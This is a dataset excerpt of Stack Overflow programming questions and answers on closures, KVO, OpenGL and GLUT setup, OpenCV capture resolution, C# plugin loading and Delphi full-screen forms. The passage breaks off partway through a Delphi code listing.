{"id": "hf_31b5bc33cc8f", "question": "<p>I've been reading a lot about closures and I think I understand them, but without clouding the picture for myself and others, I am hoping someone can explain closures as succinctly and clearly as possible.  I'm looking for a simple explanation that might help me understand where and why I would want to use them.</p>\n", "question_body": "", "answer": "It's simple: A function that references variables from a containing scope, potentially after flow-of-control has left that scope. That last bit is very useful:\n```\n```\n>>> def makeConstantAdder(x):\n...     constant = x\n...     def adder(y):\n...         return y + constant\n...     return adder\n... \n>>> f = makeConstantAdder(12)\n>>> f(3)\n15\n>>> g = makeConstantAdder(4)\n>>> g(3)\n7\n```\n```\nNote that 12 and 4 have \"disappeared\" inside f and g, respectively, this feature is what make f and g proper closures.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.139382"}
{"id": "hf_9ad830c04163", "question": "<p>I have been trying to find an easy way to parse a search query and convert it to an SQL query for my DB. </p>\n\n<p>I have found two solutions:</p>\n\n<ol>\n<li><em><a href=\"https://lucene.apache.org/\" rel=\"nofollow noreferrer\">Lucene</a></em>: Powerful Java-based search engine, contains a query parser but it isn't very configurable and I could find a way to easily hack/adapt it to create SQL queries.</li>\n<li><em><a href=\"http://www.antlr.org/\" rel=\"nofollow noreferrer\">ANTLR</a></em>: A veteran text lexer-parser. Used for building anything from compilers to sky scrapers. ANTLR is highly configurable but everyone touching the code from now on will have to learn a new language...</li>\n</ol>\n\n<p>Any other ideas?</p>\n", "question_body": "", "answer": "Depends a lot on the kind of queries you've got to parse and somewhat on the structure of the data in your database. I'm going to assume that you're not trying to do full text search in a DB (i.e. a search engine across your entire DB) because, as most Information Retrieval people will tell you, the performance for that is terrible. Inverted indexes are most certainly the best way of doing that.\nTell us a bit more about the actual problem: what are the users going to input, what are they expecting as output, and what's the data model like. Design a search solution without those pieces of information, and you'll get a far from optimal result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.163980"}
{"id": "hf_a8cadc531b5f", "question": "<p>When I've registered an object <strong>foo</strong> to receive KVO notifications from another object <strong>bar</strong> (using addObserver:...), if I then deallocate <strong>foo</strong> do I need to send a <code>removeObserver:forKeyPath:</code> message to <strong>bar</strong> in -dealloc?</p>\n", "question_body": "", "answer": "You need to use\n```\n-removeObserver:forKeyPath:\n```\nto remove the observer before\n```\n-[NSObject dealloc]\n```\nruns, so yes, doing it in the\n```\n-dealloc\n```\nmethod of your class would work.\nBetter than that though would be to have a deterministic point where whatever owns the object that's doing the observing could tell it it's done and will (eventually) be deallocated.  That way, you can stop observing immediately when the thing doing the observing is no longer needed, regardless of when it's actually deallocated.\nThis is important to keep in mind because the lifetime of objects in Cocoa isn't as deterministic as some people seem to think it is.  The various Mac OS X frameworks themselves\nwill\nsend your objects\n```\n-retain\n```\nand\n```\n-autorelease\n```\n, extending their lifetime beyond what you might otherwise think it would be.\nFurthermore, when you make the transition to Objective-C garbage collection, you'll find that\n```\n-finalize\n```\nwill run at very different times — and in very different contexts — than\n```\n-dealloc\n```\ndid.  For one thing, finalization takes place on a different thread, so you really\ncan't\nsafely send\n```\n-removeObserver:forKeyPath:\n```\nto another object in a\n```\n-finalize\n```\nmethod.\nStick to memory (and other scarce resource) management in\n```\n-dealloc\n```\nand\n```\n-finalize\n```\n, and use a separate\n```\n-invalidate\n```\nmethod to have an owner tell an object you're done with it at a deterministic point; do things like removing KVO observations there.  The intent of your code will be clearer and you will have fewer subtle bugs to take care of.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.213894"}
{"id": "hf_27c6d39d8075", "question": "<p>I'd like to have a python program alert me when it has completed its task by making a beep noise.  Currently,  I use <code>import os</code> and then use a command line speech program to say &quot;Process complete&quot;.  I much rather it be a simple &quot;bell.&quot;</p>\n<p>I know that there's a function that can be used in <em>Cocoa</em> apps, <code>NSBeep</code>, but I don't think that has much anything to do with this.</p>\n<p>I've also tried</p>\n<pre class=\"lang-py prettyprint-override\"><code>print(\\a)\n</code></pre>\n<p>but that didn't work.</p>\n<p>I'm using a Mac, if you couldn't tell by my <em>Cocoa</em> comment, so that may help.</p>\n", "question_body": "", "answer": "Have you tried :\n```\n```\nimport sys\nsys.stdout.write('\\a')\nsys.stdout.flush()\n```\n```\nThat works for me here on Mac OS 10.5\nActually, I think your original attempt works also with a little modification:\n```\n```\nprint('\\a')\n```\n```\n(You just need the single quotes around the character sequence).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.251045"}
{"id": "hf_a9841a8353e2", "question": "<p>Other than Notepad++, what text editor do you use to program in Windows? </p>\n", "question_body": "", "answer": "Textpad\nis what I would use for random text editing (checking out HTML source, quick hackery, scripts and the like).\nFor actual Java development it's Eclipse all the way, although people tell me the IDEA is the cat's pyjamas.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.416497"}
{"id": "hf_8d7634f579ae", "question": "<p>I'm seeing strange errors when my C++ code has min() or max() calls. I'm using Visual C++ compilers.</p>\n", "question_body": "", "answer": "Check if your code is including the\nwindows.h\nheader file and either your code or other third-party headers have their own\nmin()\n/\nmax()\ndefinitions. If yes, then prepend your\nwindows.h\ninclusion with a definition of\nNOMINMAX\nlike this:\n```\n```\n#define NOMINMAX\n#include <windows.h>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.440055"}
{"id": "hf_6965c0349372", "question": "<p>I've only done a bit of Flex development thus far, but I've preferred the approach of creating controls programmatically over mxml files, because (and <em>please</em>, correct me if I'm wrong!) I've gathered that you can't have it both ways -- that is to say, have the class functionality in a separate ActionScript class file but have the contained elements declared in mxml.</p>\n\n<p>There doesn't seem to be much of a difference productivity-wise, but doing data binding programmatically seems somewhat less than trivial. I took a look at how the mxml compiler transforms the data binding expressions. The result is a bunch of generated callbacks and a lot more lines than in the mxml representation. So here's the question: <strong>is there a way to do data binding programmatically that doesn't involve a world of hurt?</strong></p>\n", "question_body": "", "answer": "Don't be afraid of MXML. It's great for laying out views. If you write your own\nreusable\ncomponents then writing them in ActionScript may sometimes give you a little more control, but for non-reusable views MXML is much better. It's more terse, bindings are extemely easy to set up, etc.\nHowever, bindings in pure ActionScript need not be that much of a pain. It will never be as simple as in MXML where a lot of things are done for you, but it can be done with not too much effort.\nWhat you have is\n```\nBindingUtils\n```\nand it's methods\n```\nbindSetter\n```\nand\n```\nbindProperty\n```\n. I almost always use the former, since I usually want to do some work, or call\n```\ninvalidateProperties\n```\nwhen values change, I almost never just want to set a property.\nWhat you need to know is that these two return an object of the type\n```\nChangeWatcher\n```\n, if you want to remove the binding for some reason, you have to hold on to this object. This is what makes manual bindings in ActionScript a little less convenient than those in MXML.\nLet's start with a simple example:\n```\n```\nBindingUtils.bindSetter(nameChanged, selectedEmployee, \"name\");\n```\n```\nThis sets up a binding that will call the method\n```\nnameChanged\n```\nwhen the\n```\nname\n```\nproperty on the object in the variable\n```\nselectedEmployee\n```\nchanges. The\n```\nnameChanged\n```\nmethod will recieve the new value of the\n```\nname\n```\nproperty as an argument, so it should look like this:\n```\n```\nprivate function nameChanged( newName : String ) : void\n```\n```\nThe problem with this simple example is that once you have set up this binding it will fire each time the property of the specified object changes. The value of the variable\n```\nselectedEmployee\n```\nmay change, but the binding is still set up for the object that the variable pointed to before.\nThere are two ways to solve this: either to keep the\n```\nChangeWatcher\n```\nreturned by\n```\nBindingUtils.bindSetter\n```\naround and call\n```\nunwatch\n```\non it when you want to remove the binding (and then setting up a new binding instead), or bind to yourself. I'll show you the first option first, and then explain what I mean by binding to yourself.\nThe\n```\ncurrentEmployee\n```\ncould be made into a getter/setter pair and implemented like this (only showing the setter):\n```\n```\npublic function set currentEmployee( employee : Employee ) : void {\n    if ( _currentEmployee != employee ) {\n        if ( _currentEmployee != null ) {\n            currentEmployeeNameCW.unwatch();\n        }\n\n        _currentEmployee = employee;\n\n        if ( _currentEmployee != null ) {\n            currentEmployeeNameCW = BindingUtils.bindSetter(currentEmployeeNameChanged, _currentEmployee, \"name\");\n        }\n    }\n}\n```\n```\nWhat happens is that when the\n```\ncurrentEmployee\n```\nproperty is set it looks to see if there was a previous value, and if so removes the binding for that object (\n```\ncurrentEmployeeNameCW.unwatch()\n```\n), then it sets the private variable, and unless the new value was\n```\nnull\n```\nsets up a new binding for the\n```\nname\n```\nproperty. Most importantly it saves the\n```\nChangeWatcher\n```\nreturned by the binding call.\nThis is a basic binding pattern and I think it works fine. There is, however, a trick that can be used to make it a bit simpler. You can bind to yourself instead. Instead of setting up and removing bindings each time the\n```\ncurrentEmployee\n```\nproperty changes you can have the binding system do it for you. In your\n```\ncreationComplete\n```\nhandler (or constructor or at least some time early) you can set up a binding like so:\n```\n```\nBindingUtils.bindSetter(currentEmployeeNameChanged, this, [\"currentEmployee\", \"name\"]);\n```\n```\nThis sets up a binding not only to the\n```\ncurrentEmployee\n```\nproperty on\n```\nthis\n```\n, but also to the\n```\nname\n```\nproperty on this object. So anytime either changes the method\n```\ncurrentEmployeeNameChanged\n```\nwill be called. There's no need to save the\n```\nChangeWatcher\n```\nbecause the binding will never have to be removed.\nThe second solution works in many cases, but I've found that the first one is sometimes necessary, especially when working with bindings in non-view classes (since\n```\nthis\n```\nhas to be an event dispatcher and the\n```\ncurrentEmployee\n```\nhas to be bindable for it to work).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.475744"}
{"id": "hf_ebee80462d5c", "question": "<p>What are the basic steps to compile an OpenGL application using <em>GLUT (OpenGL Utility Toolkit)</em> under Visual C++ Express Edition?</p>\n", "question_body": "", "answer": "If you don't have Visual C++ Express Edition (VCEE), download and install\nVCEE\n.\nThe default install of Visual C++ Express Edition builds for the .Net platform. We'll need to build for the Windows platform since OpenGL and GLUT are not yet fully supported under .Net. For this we need the Microsoft Platform SDK. (If you're using an older version of VCEE, download and install the\nMicrosoft Platform SDK\n. Visual C++ Express Edition will need to be configured to build for Windows platform. All these instructions are available\nhere\n.)\nIf you don't have GLUT, download and unzip Nate Robin's\nWindows port of GLUT\n.\nAdd\nglut.h\nto your\nPlatform SDK/include/GL/\ndirectory\nLink the project with\nglut.lib\n. (Go to VCEE\nProject Properties -> Additional Linker Directories\nand add the directory which has\nglut.lib\n.\nAdd\nglut.dll\nto the\nWindows/System32\ndirectory, so that all programs using GLUT\ncan find it at runtime.\nYour program which uses GLUT or OpenGL should compile under Visual C++ Express Edition now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.513852"}
{"id": "hf_415f73c84bc2", "question": "<p>I'd like to provide some way of creating dynamically loadable plugins in my software.\nTypical way to do this is using the <a href=\"http://msdn.microsoft.com/en-us/library/ms684175(VS.85).aspx\" rel=\"noreferrer\">LoadLibrary</a> WinAPI function to load a dll and calling <a href=\"http://msdn.microsoft.com/en-us/library/ms683212(VS.85).aspx\" rel=\"noreferrer\">GetProcAddress</a> to get an pointer to a function inside that dll.</p>\n\n<p>My question is how do I dynamically load a plugin in C#/.Net application?</p>\n", "question_body": "", "answer": "The following code snippet (C#) constructs an instance of any concrete classes derived from\n```\nBase\n```\nfound in class libraries (*.dll) in the application path and stores them in a list.\n```\n```\nusing System.IO;\nusing System.Reflection;\n\nList<Base> objects = new List<Base>();\nDirectoryInfo dir = new DirectoryInfo(Application.StartupPath);\n\nforeach (FileInfo file in dir.GetFiles(\"*.dll\"))\n{\n    Assembly assembly = Assembly.LoadFrom(file.FullName);\n    foreach (Type type in assembly.GetTypes())\n    {\n        if (type.IsSubclassOf(typeof(Base)) && type.IsAbstract == false)\n        {\n            Base b = type.InvokeMember(null,\n                                       BindingFlags.CreateInstance,\n                                       null, null, null) as Base;\n            objects.Add(b);\n        }\n    }\n}\n```\n```\nEdit:\nThe classes referred to by\nMatt\nare probably a better option in .NET 3.5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.545465"}
{"id": "hf_684c2dd1daf0", "question": "<p>In my C/C++ program, I'm using <a href=\"http://opencvlibrary.sourceforge.net/\" rel=\"noreferrer\">OpenCV</a> to capture images from my webcam. The camera (<a href=\"http://en.wikipedia.org/wiki/Quickcam\" rel=\"noreferrer\">Logitech QuickCam IM</a>) can capture at resolutions <strong>320x240</strong>, <strong>640x480</strong> and <strong>1280x960</strong>. But, for some strange reason, OpenCV gives me images of resolution <strong>320x240</strong> only. Calls to change the resolution using <strong>cvSetCaptureProperty()</strong> with other resolution values just don't work. How do I capture images with the other resolutions possible with my webcam?</p>\n", "question_body": "", "answer": "There doesn't seem to be a solution. The resolution can be increased to\n640x480\nusing\nthis hack\nshared by\nlifebelt77\n. Here are the details reproduced:\nAdd to\nhighgui.h\n:\n```\n```\n#define CV_CAP_PROP_DIALOG_DISPLAY 8\n#define CV_CAP_PROP_DIALOG_FORMAT 9\n#define CV_CAP_PROP_DIALOG_SOURCE 10\n#define CV_CAP_PROP_DIALOG_COMPRESSION 11\n#define CV_CAP_PROP_FRAME_WIDTH_HEIGHT 12\n```\n```\nAdd the function\nicvSetPropertyCAM_VFW\nto\ncvcap.cpp\n:\n```\n```\nstatic int icvSetPropertyCAM_VFW( CvCaptureCAM_VFW* capture, int property_id, double value )\n{\n    int result = -1;\n    CAPSTATUS capstat;\n    CAPTUREPARMS capparam;\n    BITMAPINFO btmp;\n\n    switch( property_id )\n    {\n        case CV_CAP_PROP_DIALOG_DISPLAY:\n            result = capDlgVideoDisplay(capture->capWnd);\n            //SendMessage(capture->capWnd,WM_CAP_DLG_VIDEODISPLAY,0,0);\n            break;\n\n        case CV_CAP_PROP_DIALOG_FORMAT:\n            result = capDlgVideoFormat(capture->capWnd);\n            //SendMessage(capture->capWnd,WM_CAP_DLG_VIDEOFORMAT,0,0);\n            break;\n\n        case CV_CAP_PROP_DIALOG_SOURCE:\n            result = capDlgVideoSource(capture->capWnd);\n            //SendMessage(capture->capWnd,WM_CAP_DLG_VIDEOSOURCE,0,0);\n            break;\n\n        case CV_CAP_PROP_DIALOG_COMPRESSION:\n            result = capDlgVideoCompression(capture->capWnd);\n            break;\n\n        case CV_CAP_PROP_FRAME_WIDTH_HEIGHT:\n            capGetVideoFormat(capture->capWnd, &btmp, sizeof(BITMAPINFO));\n            btmp.bmiHeader.biWidth = floor(value/1000);\n            btmp.bmiHeader.biHeight = value-floor(value/1000)*1000;\n            btmp.bmiHeader.biSizeImage = btmp.bmiHeader.biHeight *\n            btmp.bmiHeader.biWidth * btmp.bmiHeader.biPlanes *\n            btmp.bmiHeader.biBitCount / 8;\n            capSetVideoFormat(capture->capWnd, &btmp, sizeof(BITMAPINFO));\n            break;\n\n        default:\n            break;\n    }\n\n    return result;\n}\n```\n```\nand edit\ncaptureCAM_VFW_vtable\nas following:\n```\n```\nstatic CvCaptureVTable captureCAM_VFW_vtable =\n{\n6,\n(CvCaptureCloseFunc)icvCloseCAM_VFW,\n(CvCaptureGrabFrameFunc)icvGrabFrameCAM_VFW,\n(CvCaptureRetrieveFrameFunc)icvRetrieveFrameCAM_VFW,\n(CvCaptureGetPropertyFunc)icvGetPropertyCAM_VFW,\n(CvCaptureSetPropertyFunc)icvSetPropertyCAM_VFW, // was NULL\n(CvCaptureGetDescriptionFunc)0\n};\n```\n```\nNow rebuilt\nhighgui.dll\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.583317"}
{"id": "hf_4a121c9bd4f7", "question": "<p>How do I convert the RGB values of a pixel to a single monochrome value?</p>\n", "question_body": "", "answer": "I found one possible solution in the\nColor FAQ\n. The\nluminance component\nY (from the\nCIE XYZ system\n) captures what is most perceived by humans as color in one channel. So, use those coefficients:\n```\n```\nmono = (0.2125 * color.r) + (0.7154 * color.g) + (0.0721 * color.b);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.629850"}
{"id": "hf_3b745e9a73fc", "question": "<p>Is it possible to compile and run OpenGL programs from under Cygwin? If yes, how?</p>\n", "question_body": "", "answer": "It is possible to compile and run OpenGL programs under Cygwin. I illustrate the basic steps here:\nI assume you know OpenGL programming. If not, get the\nRed Book\n(\nThe OpenGL Programming Guide\n). It is mandatory reading for OpenGL anyway.\nI assume you have Cygwin installed. If not, visit\ncygwin.com\nand install it.\nTo compile and run OpenGL programs, you need the Cygwin package named\nopengl\n. In the Cygwin installer, it can be found under the\nGraphics section\n. Please install this package.\nWrite a simple OpenGL program, say\nogl.c\n.\nCompile the program using the flags\n-lglut32 -lglu32 -lopengl32\n. (This links your program with the GLUT, GLU and OpenGL libraries. An OpenGL program might typically use functions from all the 3 of them.) For example:\n$ gcc ogl.c -lglut32 -lglu32 -lopengl32\nRun the program. It's as simple as that!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.651730"}
{"id": "hf_5deb9ff01e48", "question": "<p>I want to use the mouse scrollwheel in my OpenGL GLUT program to zoom in and out of a scene? How do I do that?</p>\n", "question_body": "", "answer": "Note that venerable\nNate Robin's GLUT\nlibrary doesn't support the scrollwheel. But, later implementations of GLUT like\nFreeGLUT\ndo.\nUsing the scroll wheel in FreeGLUT is dead simple. Here is how:\nDeclare a callback function that shall be called whenever the scroll wheel is scrolled. This is the prototype:\n```\n```\nvoid mouseWheel(int, int, int, int);\n```\n```\nRegister the callback with the (Free)GLUT function\nglutMouseWheelFunc()\n.\n```\n```\nglutMouseWheelFunc(mouseWheel);\n```\n```\nDefine the callback function. The second parameter gives the direction of the scroll. Values of +1 is forward, -1 is backward.\n```\n```\nvoid mouseWheel(int button, int dir, int x, int y)\n{\n    if (dir > 0)\n    {\n        // Zoom in\n    }\n    else\n    {\n        // Zoom out\n    }\n\n    return;\n}\n```\n```\nThat's it!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.729551"}
{"id": "hf_827994028d62", "question": "<p>With the <em>Visual Studio 2005 C++ compiler</em>, I get the following warning when my code uses the <code>fopen()</code> and such calls:</p>\n<pre class=\"lang-none prettyprint-override\"><code>1&gt;foo.cpp(5) : warning C4996: 'fopen' was declared deprecated\n1&gt;        c:\\program files\\microsoft visual studio 8\\vc\\include\\stdio.h(234) : see declaration of 'fopen'\n1&gt;        Message: 'This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_DEPRECATE. See online help for details.'\n</code></pre>\n<p>How do I prevent this?</p>\n", "question_body": "", "answer": "It looks like Microsoft has deprecated lots of calls which use buffers to improve code security. However, the solutions they're providing aren't portable. Anyway, if you aren't interested in using the secure version of their calls (like\nfopen_s\n), you need to place a definition of\n_CRT_SECURE_NO_DEPRECATE\nbefore your included header files. For example:\n```\n```\n#define _CRT_SECURE_NO_DEPRECATE\n#include <stdio.h>\n```\n```\nThe preprocessor directive can also be added to your project settings to effect it on all the files under the project. To do this add\n_CRT_SECURE_NO_DEPRECATE\nto\nProject Properties -> Configuration Properties -> C/C++ -> Preprocessor -> Preprocessor Definitions\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.763662"}
{"id": "hf_065eddb05495", "question": "<p>In my simple OpenGL program I get the following error about exit redefinition:</p>\n\n<pre><code>1&gt;c:\\program files\\microsoft visual studio 8\\vc\\include\\stdlib.h(406) : error C2381: 'exit' : redefinition; __declspec(noreturn) differs\n1&gt;        c:\\program files\\microsoft visual studio 8\\vc\\platformsdk\\include\\gl\\glut.h(146) : see declaration of 'exit'\n</code></pre>\n\n<p>I'm using Nate Robins' <a href=\"http://www.xmission.com/~nate/glut.html\" rel=\"noreferrer\">GLUT for Win32</a> and get this error with Visual Studio 2005 or Visual C++ 2005 (Express Edition). What is the cause of this error and how do I fix it?</p>\n", "question_body": "", "answer": "Cause:\nThe\nstdlib.h\nwhich ships with the recent versions of Visual Studio has a different (and conflicting) definition of the\nexit()\nfunction. It clashes with the definition in\nglut.h\n.\nSolution:\nOverride the definition in glut.h with that in stdlib.h. Place the stdlib.h line above the glut.h line in your code.\n```\n```\n#include <stdlib.h>\n#include <GL/glut.h>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.852971"}
{"id": "hf_dec4efc68e7b", "question": "<p>I want to use the functions exposed under the OpenGL extensions. I'm on Windows, how do I do this?</p>\n", "question_body": "", "answer": "Easy solution\n: Use\nGLEW\n. See how\nhere\n.\nHard solution\n:\nIf you have a\nreally strong reason\nnot to use GLEW, here's how to achieve the same without it:\nIdentify the OpenGL extension and the extension APIs you wish to use. OpenGL extensions are listed in the\nOpenGL Extension Registry\n.\nExample: I wish to use the capabilities of the\nEXT_framebuffer_object\nextension. The APIs I wish to use from this extension are:\n```\n```\nglGenFramebuffersEXT()\nglBindFramebufferEXT()\nglFramebufferTexture2DEXT()\nglCheckFramebufferStatusEXT()\nglDeleteFramebuffersEXT()\n```\n```\nCheck if your graphic card supports the extension you wish to use. If it does, then your work is almost done! Download and install the latest drivers and SDKs for your graphics card.\nExample: The graphics card in my PC is a\nNVIDIA 6600 GT\n. So, I visit the\nNVIDIA OpenGL Extension Specifications\nwebpage and find that the\nEXT_framebuffer_object\nextension is supported. I then download the latest\nNVIDIA OpenGL SDK\nand install it.\nYour graphic card manufacturer provides a\nglext.h\nheader file (or a similarly named header file) with all the declarations needed to use the supported OpenGL extensions. (Note that not all extensions might be supported.) Either place this header file somewhere your compiler can pick it up or include its directory in your compiler's include directories list.\nAdd a\n```\n#include <glext.h>\n```\nline in your code to include the header file into your code.\nOpen\nglext.h\n, find the API you wish to use and grab its corresponding\nugly-looking\ndeclaration.\nExample: I search for the above framebuffer APIs and find their corresponding ugly-looking declarations:\n```\n```\ntypedef void (APIENTRYP PFNGLGENFRAMEBUFFERSEXTPROC) (GLsizei n, GLuint *framebuffers); for GLAPI void APIENTRY glGenFramebuffersEXT (GLsizei, GLuint *);\n```\n```\nAll this means is that your header file has the API declaration in 2 forms. One is a wgl-like ugly function pointer declaration. The other is a sane looking function declaration.\nFor each extension API you wish to use, add in your code declarations of the function name as a type of the ugly-looking string.\nExample:\n```\n```\nPFNGLGENFRAMEBUFFERSEXTPROC glGenFramebuffersEXT;\nPFNGLBINDFRAMEBUFFEREXTPROC glBindFramebufferEXT;\nPFNGLFRAMEBUFFERTEXTURE2DEXTPROC glFramebufferTexture2DEXT;\nPFNGLCHECKFRAMEBUFFERSTATUSEXTPROC glCheckFramebufferStatusEXT;\nPFNGLDELETEFRAMEBUFFERSEXTPROC glDeleteFramebuffersEXT;\n```\n```\nThough it looks ugly, all we're doing is to declare function pointers of the type corresponding to the extension API.\nInitialize these function pointers with their rightful functions. These functions are exposed by the library or driver. We need to use\nwglGetProcAddress()\nfunction to do this.\nExample:\n```\n```\nglGenFramebuffersEXT = (PFNGLGENFRAMEBUFFERSEXTPROC) wglGetProcAddress(\"glGenFramebuffersEXT\");\nglBindFramebufferEXT = (PFNGLBINDFRAMEBUFFEREXTPROC) wglGetProcAddress(\"glBindFramebufferEXT\");\nglFramebufferTexture2DEXT = (PFNGLFRAMEBUFFERTEXTURE2DEXTPROC) wglGetProcAddress(\"glFramebufferTexture2DEXT\");\nglCheckFramebufferStatusEXT = (PFNGLCHECKFRAMEBUFFERSTATUSEXTPROC) wglGetProcAddress(\"glCheckFramebufferStatusEXT\");\nglDeleteFramebuffersEXT = (PFNGLDELETEFRAMEBUFFERSEXTPROC) wglGetProcAddress(\"glDeleteFramebuffersEXT\");\n```\n```\nDon't forget to check the function pointers for\nNULL\n. If by chance\nwglGetProcAddress()\ncouldn't find the extension function, it would've initialized the pointer with NULL.\nExample:\n```\n```\nif (NULL == glGenFramebuffersEXT || NULL == glBindFramebufferEXT || NULL == glFramebufferTexture2DEXT\n    || NULL == glCheckFramebufferStatusEXT || NULL == glDeleteFramebuffersEXT)\n{\n    // Extension functions not loaded!\n    exit(1);\n}\n```\n```\nThat's it, we're done! You can now use these function pointers just as if the function calls existed.\nExample:\n```\n```\nglGenFramebuffersEXT(1, &fbo);\nglBindFramebufferEXT(GL_FRAMEBUFFER_EXT, fbo);\nglFramebufferTexture2DEXT(GL_FRAMEBUFFER_EXT, GL_COLOR_ATTACHMENT0_EXT, GL_TEXTURE_2D, colorTex[0], 0);\n```\n```\nReference:\nMoving Beyond OpenGL 1.1 for Windows\nby Dave Astle — The article is a bit dated, but has all the information you need to understand why this pathetic situation exists on Windows and how to get around it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.889272"}
{"id": "hf_75a500a5f25b", "question": "<p>What is the best way to make a delphi application (delphi 2007 for win32 here) go completely full screen, removing the application border and covering windows task bar ?</p>\n\n<p>I am looking for something similar to what IE does when you hit F11.</p>\n\n<p>I wish this to be a run time option for the user not a design time decision by my good self.</p>\n\n<p>As Mentioned in the accepted answer </p>\n\n<pre><code>BorderStyle := bsNone; \n</code></pre>\n\n<p>was part of the way to do it.  Strangely I kept getting a <code>E2010 Incompatible types: 'TFormBorderStyle' and 'TBackGroundSymbol'</code> error when using that line (another type had <code>bsNone</code> defined).</p>\n\n<p>To overcome this I had to use : </p>\n\n<pre><code>BorderStyle := Forms.bsNone;\n</code></pre>\n", "question_body": "", "answer": "Maximize the form and\nhide the title bar\n.  The maximize line is done from memory, but I'm pretty sure WindowState is the property you want.\nThere's also\nthis\narticle, but that seems too complicated to me.\n```\n```\nprocedure TForm1.FormCreate(Sender: TObject) ;\nbegin\n   //maximize the window\n   WindowState := wsMaximized;\n   //hide the title bar\n   SetWindowLong(Handle,GWL_STYLE,GetWindowLong(Handle,GWL_STYLE) and not WS_CAPTION);\n   ClientHeight := Height;\nend;\n```\n```\nEdit:  Here's a complete example, with \"full screen\" and \"restore\" options.  I've broken out the different parts into little procedures for maximum clarity, so this could be greatly compressed into just a few lines.\n```\n```\nunit Unit1;\n\ninterface\n\nuses\n  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,\n  Dialogs, StdCtrls;\n\ntype\n  TForm1 = class(TForm)\n    btnGoFullScreen: TButton;\n    btnNotFullScreen: TButton;\n    btnShowTitleBar: TButton;\n    btnHideTitleBar: TButton;\n    btnQuit: TButton;\n    procedure btnGoFullScreenClick(Sender: TObject);\n    procedure btnShowTitleBarClick(Sender: TObject);\n    procedure btnHideTitleBarClick(Sender: TObject);\n    procedure btnNotFullScreenClick(Sender: TObject);\n    procedure btnQuitClick(Sender: TObject);\n  private\n    SavedLeft : integer;\n    SavedTop : integer;\n    SavedWidth : integer;\n    SavedHeight : integer;\n    SavedWindowState : TWindowState;\n    procedure FullScreen;\n    procedure NotFullScreen;\n    procedure SavePosition;\n    procedure HideTitleBar;\n    procedure ShowTitleBar;\n    procedure RestorePosition;\n    procedure MaximizeWindow;\n  public\n    { Public declarations }\n  end;\n\nvar\n  Form1: TForm1;\n\nimplementation\n\n{$R *.dfm}\n\nprocedure TForm1.btnQuitClick(Sender: TObject);\nbegin\n  Application.Terminate;\nend;\n\nprocedure TForm1.btnGoFullScreenClick(Sender: TObject);\nbegin\n  FullScreen;\nend;\n\nprocedure 